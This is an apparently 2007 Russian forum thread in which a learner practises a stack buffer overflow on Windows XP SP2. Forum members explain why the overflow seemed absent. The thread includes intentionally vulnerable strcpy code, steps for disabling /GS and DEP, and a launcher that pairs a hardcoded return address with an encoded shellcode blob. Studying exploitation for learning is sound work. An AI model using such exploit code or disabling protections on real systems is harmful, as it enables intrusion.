Про переполнение

Тема в разделе "LANGS.C", создана пользователем perdimonokl, 7 окт 2007.

  1. perdimonokl

    perdimonokl New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2007
    Сообщения:
    38
    Вот код:
    Код (Text):
    1. #include <stdio.h>
    2. #include <string.h>
    3.  
    4. int main(int argc,char *argv[])
    5. {
    6.     char buff[10];
    7.  
    8.     strcpy(buff,argv[1]);
    9.  
    10.     printf("%s",buff);
    11.  
    12.     return 0;
    13. }
    Даю программе в аргументе больше 10 символов и переполнения нету, даю больше 30 и тоже нету, 1000 тоже нету :)

    Компилил в MSVC++. Потом вспомни что там флаг /GS включен по умолчанию. Отключил в свойстах проекта. Опять скомпилировал, опять не переполняет.

    Скомпилил на lcc-win32 и тоже нет переолнения.

    Вспомнил что есть DEP(Data Execution Prevention) и полез смотреть включен ли он.

    wmic OS Get DataExecutionPrevention_Available -> FALSE
    wmic OS Get DataExecutionPrevention_Drivers -> FALSE

    wmic OS Get DataExecutionPrevention_SupportPolicy -> 2

    Код (Text):
    1. Значение свойства DataExecutionPrevention_SupportPolicy Уровень политики Описание
    2. 2   OptIn (конфигурация по умолчанию)    Функция DEP включена только для системных компонентов и служб Windows
    3. 3   OptOut  Функция DEP включена для всех процессов. Администратор может вручную создать список приложений, для которых функция DEP отключена
    4. 1   AlwaysOn    Функция DEP включена для всех процессов
    5. 0   AlwaysOff   Функция DEP отключена для всех процессов
    Ставил wmic OS Get DataExecutionPrevention_SupportPolicy -> 0, тоже нет переполнения. Изменил в boot.ini параметр /NoExecute=OptIn на /NoExecute=AlwaysOff и тоже нет переполнения.

    Как мне выполнить то переполнение. Хотел попрактиковаться и столкнулся с проблемой. Вообще не знаю как решить, всё уже перепробовал.

    На компе стоит WinXP Pro SP2
     
  2. t00x

    t00x New Member

    Публикаций:
    0
    Регистрация:
    15 фев 2007
    Сообщения:
    1.921
    что переполняете?
     
  3. asmeradm

    asmeradm New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2007
    Сообщения:
    26
    t00x

    Видимо стек. :)

    perdimonokl

    Что ты конкретно хотел затереть своим переполнением буфера?
     
  4. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    открой прогу под олькой, судя по всему твоё приложение просто тихо прибивается, происходит слующее, массив переполняется адрес возврата тоже ессесно, но функция printf отрабатывает нормально потому что ей пофик она ищет в стеке ноль и выводит всё до него а такой ноль скорее всего найдётся, затем происходит возврат по несуществующему адресу и тут то ось его и прибивает, но для тебя не заметно никакой разници потому что оно всё равно в этот момент должно завершиться. Короче попробуй так:
    Код (Text):
    1. void GenOverrun(unsigned char* str)
    2. {
    3.     char local_str[10];
    4.     strcpy(local_str, str);
    5.  
    6. }
    7.  
    8. void main(int argc,char *argv[])
    9. {
    10.  
    11.     printf("hello\n");
    12.     GenOverrun(argv[1]);
    13.  
    14.     printf("some shit that never displayed\n");
    15. }
    и увидишь что второго printf'а не будет

    действительно может имелся в виду бокал пива?
     
  5. t00x

    t00x New Member

    Публикаций:
    0
    Регистрация:
    15 фев 2007
    Сообщения:
    1.921
    неа ;)
     
  6. perdimonokl

    perdimonokl New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2007
    Сообщения:
    38
    To t00x

    Стек

    To asmeradm

    Да причём тут затереть то ;) Ну если переполнится перезапишется EIP, выявлю какие именно из введённой мною строки затирают EIP, потом смогу его уже заменять. Я хочу понять почему не возникает перолнения то.Я описал что как делал в первом посте. Как мне попрактиковаться я не знаю.
     
  7. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    нифига себе какие новые открытия делаешь на страницах васма ежедневно
     
  8. t00x

    t00x New Member

    Публикаций:
    0
    Регистрация:
    15 фев 2007
    Сообщения:
    1.921
    ага.
     
  9. perdimonokl

    perdimonokl New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2007
    Сообщения:
    38
    Спасибо :) Я понял теперь в чём фишка была.
     
  10. perdimonokl

    perdimonokl New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2007
    Сообщения:
    38
    Мда теперь столкнулся с другой проблемой.

    Компилирую сорс:
    Код (Text):
    1. void GenOverrun(unsigned char* str)
    2. {
    3.     char local_str[10];
    4.     strcpy(local_str, str);
    5.  
    6. }
    7.  
    8. void main(int argc,char *argv[])
    9. {
    10.  
    11.     printf("hello\n");
    12.     GenOverrun(argv[1]);
    13.  
    14.     printf("some shit that never displayed\n");
    15. }
    Затем вызываю программу с параметром prog.exe AAAAAAAAAABBBBCCCCDDDD
    Прога падает в дебаг CCCC затирает EIP и значение ESP становится 0012FF64 ASCII "DDDD", значит по этому адресу будет распологаться шеллкод. Дальше вот что набросал:
    Код (Text):
    1. #include <windows.h>
    2. #include <stdio.h>
    3.  
    4. #define PROG "prog.exe "
    5.  
    6. void main(int argc,char *argv[])
    7. {
    8.     char overflow[] = "AAAAAAAAAABBBB";
    9.     char ret[] = "\x64\xff\x12";
    10.  
    11.     char shellcode[] = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88"
    12. "\x28\x35\xb6\x83\xeb\xfc\xe2\xf4\x74\xc0\x71\xb6\x88\x28\xbe\xf3"
    13. "\xb4\xa3\x49\xb3\xf0\x29\xda\x3d\xc7\x30\xbe\xe9\xa8\x29\xde\xff"
    14. "\x03\x1c\xbe\xb7\x66\x19\xf5\x2f\x24\xac\xf5\xc2\x8f\xe9\xff\xbb"
    15. "\x89\xea\xde\x42\xb3\x7c\x11\xb2\xfd\xcd\xbe\xe9\xac\x29\xde\xd0"
    16. "\x03\x24\x7e\x3d\xd7\x34\x34\x5d\x03\x34\xbe\xb7\x63\xa1\x69\x92"
    17. "\x8c\xeb\x04\x76\xec\xa3\x75\x86\x0d\xe8\x4d\xba\x03\x68\x39\x3d"
    18. "\xf8\x34\x98\x3d\xe0\x20\xde\xbf\x03\xa8\x85\xb6\x88\x28\xbe\xde"
    19. "\xb4\x77\x04\x40\xe8\x7e\xbc\x4e\x0b\xe8\x4e\xe6\xe0\xd8\xbf\xb2"
    20. "\xd7\x40\xad\x48\x02\x26\x62\x49\x6f\x5f\x5c\xd8\xfe\x4d\x47\xb6";
    21.  
    22. char buff[512];
    23.  
    24. lstrcpy(buff,PROG);
    25. lstrcat(buff,overflow);
    26. lstrcat(buff,ret);
    27. lstrcat(buff,shellcode);
    28.  
    29. buff[lstrlen(buff)] = '\0';
    30.  
    31. WinExec(buff,0);
    32.  
    33. }
    Шеллкод упорно выполняться не хочет, а потом когда начал разбираться пришел вот к чему. Когда я запускаю прогамму так:

    Код (Text):
    1. prog.exe AAAAAAAAAABBBBCCCCZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
    80 символов Z то программа не падает в дебаг, а если символов Z 75 или меньше то падает в дебаг. А шеллкоды все для винды больше 75 байт так что я не знаю как выполнить его. Подскажите либо поправьте где я что делаю не так.